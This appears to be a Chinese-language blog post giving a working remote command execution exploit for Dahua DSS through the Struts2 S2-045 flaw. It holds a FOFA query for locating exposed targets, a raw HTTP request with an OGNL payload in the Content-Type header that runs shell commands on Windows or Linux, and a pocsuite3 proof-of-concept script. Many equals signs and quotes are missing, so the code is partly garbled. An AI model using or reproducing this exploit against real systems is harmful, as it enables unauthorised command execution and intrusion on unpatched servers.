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漏洞描述
大华DSS存在s2-45漏洞。 fofa语句
body/portal/include/script/dahuaDefined/headCommon.js?typeindextitleDSS
poc语句加检测
GET /admin/login_login.action HTTP/1.1
Host:
Content-Type: %{(#nikemultipart/form-data).(#dmognl.OgnlContextDEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess#dm):((#container#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil#container.getInstance(com.opensymphony.xwork2.ognl.OgnlUtilclass)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmdls).(#iswin(java.lang.SystemgetProperty(os.name).toLowerCase().contains(win))).(#cmds(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).(#pnew java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process#p.start()).(#ros(org.apache.struts2.ServletActionContextgetResponse().getOutputStream())).(org.apache.commons.io.IOUtilscopy(#process.getInputStream(),#ros)).(#ros.flush())}
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8
Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2 poc脚本
脚本用的pocsuite框架
# _*_ coding:utf-8 _*_
# Time : 2023/12/09 19:02
# Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_strclass dahua_strutsrce(POCBase):pocDesc 大华DSS-struts2-045命令执行author 炼金术师诸葛亮createDate 2023-12-09name 大华DSS-struts2-045命令执行def _verify(self):result {}path /admin/login_login.actionheaders {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0,Content-Type: %{(#nikemultipart/form-data).(#dmognl.OgnlContextDEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess#dm):((#container#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil#container.getInstance(com.opensymphony.xwork2.ognl.OgnlUtilclass)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmdls).(#iswin(java.lang.SystemgetProperty(os.name).toLowerCase().contains(win))).(#cmds(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).(#pnew java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process#p.start()).(#ros(org.apache.struts2.ServletActionContextgetResponse().getOutputStream())).(org.apache.commons.io.IOUtilscopy(#process.getInputStream(),#ros)).(#ros.flush())},Upgrade-Insecure-Requests: 1,Accept-Encoding: gzip, deflate,Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8,Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2}url self.url pathtry:response requests.get(url, headersheaders,verifyFalse)# 验证成功输出相关信息print(response.text)if response.status_code 200 and bin in response.text:result[VerifyInfo] {}result[VerifyInfo][URL] self.urlreturn self.parse_output(result)except Exception as e:passregister_poc(dahua_strutsrce)脚本利用
